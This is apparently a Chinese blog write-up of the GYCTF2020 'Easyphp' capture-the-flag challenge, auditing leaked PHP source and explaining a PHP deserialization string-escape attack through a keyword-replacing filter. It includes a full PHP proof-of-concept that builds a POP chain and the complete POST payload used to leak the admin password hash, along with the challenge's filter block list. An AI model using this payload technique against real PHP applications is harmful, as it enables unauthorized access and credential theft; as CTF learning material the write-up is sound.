• [GYCTF2020]Easyphp


    尝试了一下万能密码不行,又到处翻了一下,扫目录结果又有www.zip

    审计代码好久,序列化和sql结合的题还是第一次见,太菜了呀,花了很久时间才理解这个题

    首先看到update.php,这个文件是最亮眼的,逻辑是只要我们登陆成功就输出flag,所以要想办法怎么能登陆成功,

    看了一圈貌似没办法伪造$_SESSION[‘login’]===1,它的sql都是PDO预编译的,但是发现好像有办法获得某个用户的密码

    利用点应该在这里, 把dbCtrl类的nametoken属性的值改为admin,使其执行后能返回查询admin用户的结果

      if ($this->token=='admin') {
                return $idResult;
            }
    
    • 1
    • 2
    • 3

    update.php

    
    require_once('lib.php');
    echo '
    
    update
    

    这是一个未完成的页面,上线时建议删除本页面

    '
    ; if ($_SESSION['login']!=1){ echo "你还没有登陆呢!"; } $users=new User(); $users->update(); if($_SESSION['login']===1){ require_once("flag.php"); echo $flag; } ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    跟进来看一下,初始化一个User类并调用它的update函数,我们看一下这个update函数

    上来就是执行了一个反序列化,那这个反序列化函数后面的代码我们可以先不看,它执行了攻击效果就产生了,我们接着跟进getNewinfo()函数

     public function update(){
            $Info=unserialize($this->getNewinfo());
            $age=$Info->age;
            $nickname=$Info->nickname;
            $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
            //这个功能还没有写完 先占坑
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    这里我们可以传两个参数进去,都是可控的,传进Info类里经过序列胡以后再过滤

    public function getNewInfo(){
            $age=$_POST['age'];
            $nickname=$_POST['nickname'];
            return safe(serialize(new Info($age,$nickname)));
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5

    注意这里过滤的逻辑是替换,那就很可能产生序列化字符串逃逸

    function safe($parm){
        $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
        return str_replace($array,'hacker',$parm);
    }
    
    • 1
    • 2
    • 3
    • 4

    构造pop链:

    UpdateHelper类的destruct方法触发user类的tostring方法
    user类的tostring方法触发Info类的call方法
    Info类的call方法调用dbCtrl类的login函数

    那个token我们赋值为admin

    poc:

    
    class User
       {
           public $id;
           public $age="select password,id from user where username=?";
           public $nickname=null;
           public function __construct($nickname){
            // $this->id=$id;
            // $this->age=$age;
            $this->nickname=$nickname;
        }   
       }
       class Info
       {
           public $age;
           public $nickname;
           public $CtrlCase;
           public function __construct($CtrlCase){
            //    $this->age=$age;
            //    $this->nickname=$nickname;
               $this->CtrlCase=$CtrlCase;
           }   
       }
       class UpdateHelper
       {
           public $id;
           public $newinfo;
           public $sql;
           public function __construct($sql){
            // $this->id=null;
            // $this->newinfo=null;
            $this->sql=$sql;
        }   
       }
       class dbCtrl
       {
        public $hostname="127.0.0.1";
        public $dbuser="root";
        public $dbpass="root";
        public $database="test";
        public $name="admin";
        public $password;
        public $mysqli;
        public $token="admin";
       }
    
    
    $c=new UpdateHelper(new user(new Info(new dbCtrl())));
    $c = '";s:8:"CtrlCase";' . serialize($c) . "}";
    $length = strlen($c);
    $c = str_repeat('union', $length).$c;
    echo $c;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52

    payload:

    age=1&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}
    
    • 1

    在这里插入图片描述

    md5解密得到admin的密码

    在这里插入图片描述

    登陆以后页面显示出flag

    在这里插入图片描述

    我感觉这个题的不好理解的点还在这里:

    return safe(serialize(new Info($age,$nickname)));
    
    • 1

    之前我们做的反序列化题目大多是全称自己构造,构造好了提交payload直接进行反序列化,但是这个题不一样,它这里写死了反序列化是从new Info( a g e , age, age,nickname)开始的,首先我们刚刚反序列化的入口在UpdateHelper类的destruct方法,其次它这里还是写死了只给操作两个参数,并没有给Info类的第三个参数$CtrlCase,但是好在存在一个反序列化逃逸。

    逃逸过程:

    我们先看到new Info( a g e , age, age,nickname),那这个类它反序列化出来字符串大括号{}里面只有俩元素,一个age的键值对一个nickname的键值对(这么说也不太严谨,就是那个意思吧),然后操作空间就来了,紧接着这个反序列化好的字符串进到safe函数里进行一个反序列化字符串的逃逸,nickname可以很长,union被替换成hacker等方式都可以用来进行逃逸。这里我们就可以利用这里把我们提前跑好的payload逃逸出来。

    逃逸目标:

    O:12:"UpdateHelper":3:{s:2:"id";s:0:"";s:7:"newinfo";s:0:"";s:3:"sql";O:4:"User":3:{s:2:"id";s:0:"";s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:1:"1";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:7:"noob123";s:6:"dbpass";s:7:"noob123";s:8:"database";s:7:"noob123";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}
    
    • 1

    这个是放在Info类的nickname里作为字符串出现的,为了保证Info类序列化的可用性,我们需要把这些字符串逃逸到Info类的第三个属性$CtrlCase里

    O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:2868:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerher";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";s:0:"";s:7:"newinfo";s:0:"";s:3:"sql";O:4:"User":3:{s:2:"id";s:0:"";s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:1:"1";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:7:"noob123";s:6:"dbpass";s:7:"noob123";s:8:"database";s:7:"noob123";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}";s:8:"CtrlCase";N;}
    
    • 1

    Info:这个类的结构是很简单的,注意看我选中的部分其实在逃逸前都作为字符串隶属于nickname,逃逸后我们构造的";s:8:“CtrlCase”;跑了出来并且和我们的payload形成新的键值对,并在末尾加了一个闭合,这样我们构造的就可执行了

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Nu8CU11S-1667187302883)(C:\Users\HP\AppData\Roaming\Typora\typora-user-images\1667177388375.png)]

    最终执行的:

    safe(serialize(new Info(‘1’,’ "unionunionunion…union;s:8:“CtrlCase” ; ’ . serialize(new UpdateHelper(‘’,‘’,new user(‘’,‘select password,id from user where username=?’,new Info(‘’,‘1’,$d)))) . " } " )))

  • 相关阅读:
    vue+bpmn导入xml样板
    SOLIDWORKS PDM—数据库的备份计划
    【java后端】采坑合集
    servlet基础知识
    【freeRTOS】操作系统之五.-内存管理
    JUC(4):Java “锁“事一览
    ROS从入门到精通2-7:Gazebo仿真之动态生成障碍物
    代码随想录三刷day46
    【ECMAScript6】其它新增接口特性
    7-137 整数四则运算
  • 原文地址:https://blog.csdn.net/qq_61778128/article/details/127612408